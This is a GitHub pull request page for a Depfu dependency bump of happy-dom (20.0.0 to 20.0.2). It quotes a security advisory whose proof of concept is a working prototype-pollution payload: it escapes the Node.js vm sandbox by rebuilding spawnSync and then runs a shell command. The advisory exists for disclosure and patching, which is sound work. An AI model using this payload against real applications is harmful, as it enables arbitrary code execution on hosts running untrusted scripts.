Skip to content

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Oct 15, 2025


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ happy-dom (20.0.0 → 20.0.2) · Repo

Security Advisories 🚨

🚨 happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(spawn_sync);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join( );typeof a.shell===string?c=a.shell:c=/bin/sh,b=[-c,g];}typeof a.argv0===string?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+=+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:pipe,readable:!0,writable:!1},{type:pipe,readable:!1,writable:!0},{type:pipe,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==buffer)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + spawnSync +d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = &lt;html&gt;</span> <span class="pl-s">&lt;script&gt;</span> <span class="pl-s"> function f() { let process = this; <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">payload</span><span class="pl-kos">}</span></span>; spawnSync("touch", ["success.flag"]); return "success";} </span> <span class="pl-s"> this.constructor.constructor.__proto__.__proto__.toString = f;</span> <span class="pl-s"> this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;</span> <span class="pl-s"> // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf</span> <span class="pl-s"> </span> <span class="pl-s">&lt;/script&gt;</span> <span class="pl-s">&lt;body&gt;Hello world!&lt;/body&gt;&lt;/html&gt;;

await browser.close();
console.log(The process object is <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">process</span><span class="pl-kos">}</span></span>);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Release Notes

20.0.1

👷‍♂️ Patch fixes

  • Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @capricorn86 in task #1932
    • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @cristianstaicu for reporting this!
    • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 2 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Oct 15, 2025
@coderabbitai
Copy link

coderabbitai bot commented Oct 15, 2025

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Comment @coderabbitai help to get the list of available commands and usage tips.

@sonarqubecloud
Copy link

Quality Gate Failed Quality Gate failed

Failed conditions
6 Security Hotspots

See analysis details on SonarQube Cloud

@github-actions github-actions bot merged commit 61dd8cc into main Oct 15, 2025
7 of 8 checks passed
@depfu depfu bot deleted the depfu/update/pnpm/happy-dom-20.0.2 branch October 15, 2025 22:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants